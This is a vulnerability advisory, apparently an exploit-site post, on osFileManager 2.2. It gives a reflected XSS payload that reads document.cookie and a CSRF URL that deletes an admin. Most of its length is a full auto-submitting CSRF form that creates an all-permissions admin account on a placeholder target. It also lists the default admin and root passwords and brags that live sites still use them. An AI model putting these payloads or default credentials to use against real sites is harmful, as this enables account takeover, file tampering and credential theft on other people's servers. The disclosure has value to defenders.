Looks Nice: http://www.osfilemanager.com/screenshots.html ========================================================================== Vuln Desc: osFileManager 2.2 suffers from multiple CROSS SITE SCRIPTING and CROSS SITE REQUEST forgery vulnerabilities. I noticed many peoples uses osFileManager 2.2 So Just beaware: XSS (Non persistent XSS) /index.php?p=home&d=<script>alert(document.cookie);</script> /* CSRF Delete admin */ /index.php?p=deleteuser&muid=1 Where 1 means user id Due insufficent sanitization *users administration* section also prone to Persistent CROSS SITE SCRIPTING(XSS) vulnerabilities Print Screen: http://s017.radikal.ru/i407/1203/d2/1db7ba7bd6a2.png (Username & Server Directory inputboxes) And can be mixed with CSRF POC (in eg: to deface /index.php?p=users sections) What is funny This FileManager Saves username and password "pair" in cookie which is totally wrong thing especially about *passwords*(sensitive data) (See print screen) Once cookies stealed ... you know what's this means. ========================== CSRF ADD ADMIN ==================================================================== <body onload="javascript:document.forms[0].submit()"> <form name="user_edit" action="http://CHANGETO_RTARGET/index.php?p=saveuser" method="post"> <tr><td>Username: <td><input type="text" name="config_user" size="40" border="0" class="txtinput" value="pwnyou"> <tr><td>Name: <td><input type="text" name="config_name" size="40" border="0" class="txtinput" value="pwnyou"> <tr><td>Password: <td><input type="password" name="config_pass" size="40" border="0" class="txtinput" value="pwnyou"> <tr><td>Email: <td><input type="text" name="config_email" size="40" border="0" class="txtinput" value="pwnyou@pwnyou.tld"> <tr><td>Server Directory: <td><input type="text" name="config_folder" size="40" border="0" class="txtinput" value="."> <tr><td>Http Directory: <td><input type="text" name="config_http" size="40" border="0" class="txtinput" value=""> (*) <input type="text" name="config_limit" size="15" width="15" border="0" class="txtinput" value="500000"> <select name="config_language"> <option value="chinese">Chinese</option> <option value="english" selected>English</option></select> <select name="config_theme"> <option value="classic" selected>Classic</option> </select> <input type=radio name="config_status" value="1" id="stat1" checked> <input type=radio name="config_status" value="0" id="stat2"> <input type=radio name="config_formatperms" value="0" id="perm1" checked> <input type=radio name="config_formatperms" value="1" id="perm2"> <input type="checkbox" name="config_permbrowse" id="config_permbrowse" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permupload" id="config_permupload" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permcreate" id="config_permcreate" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permpass" id="config_permpass" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permdelete" id="config_permdelete" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permmove" id="config_permmove" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permedit" id="config_permedit" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permrename" id="config_permrename" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permget" id="config_permget" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permchmod" id="config_permchmod" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permsub" id="config_permsub" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permuser" id="config_permuser" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permadmin" id="config_permadmin" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permdeleteuser" id="config_permdeleteuser" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permedituser" id="config_permedituser" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permmakeuser" id="config_permmakeuser" size="40" border="0" class="text" checked> <input type="checkbox" name="config_permprefs" id="config_permprefs" size="40" border="0" class="text" checked> <input type=hidden name=muid value=""> </form> <!-- username:pwnyou passwd:pwnyou --> ========================== EOF CSRF ADD ADMIN ================================================================= What is another issuse do you know? It's users.sql comes defaultly with 2 users: -- -- Dumping data for table `osfm_users` -- INSERT INTO `osfm_users` VALUES(1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'you@email.com', 'Admin', './', '', '20081005234859', '999999999999999999999', 'classic', 'english', 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0); INSERT INTO `osfm_users` VALUES(2, 'root', '5f4dcc3b5aa765d61d8327deb882cf99', 'you@email.com', 'root', '.', '', '20081005222012', '500000', 'classic', 'english', 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0); login: root pass: password And the second one: username: admin password: password During 4-5 minutes googling about it(xxxxx) i found 8 sites which uses same usernames and passwords!!!(Which allows file uploads,file editings,steal database credentials cos it stores database credentials in index.php ---- In one word: "Paradise") Theris also a lot of *unitialized* variables which causes E_NOTICE and E_WARNING's which can be classified as Info and Path Disclosure. I hope developer(s)(http://www.osfilemanager.com/ && http://www.arzy.net/) will fix this all this issuses ASAP.Amin! ======================================= EOF ==================================================================== /AkaStep
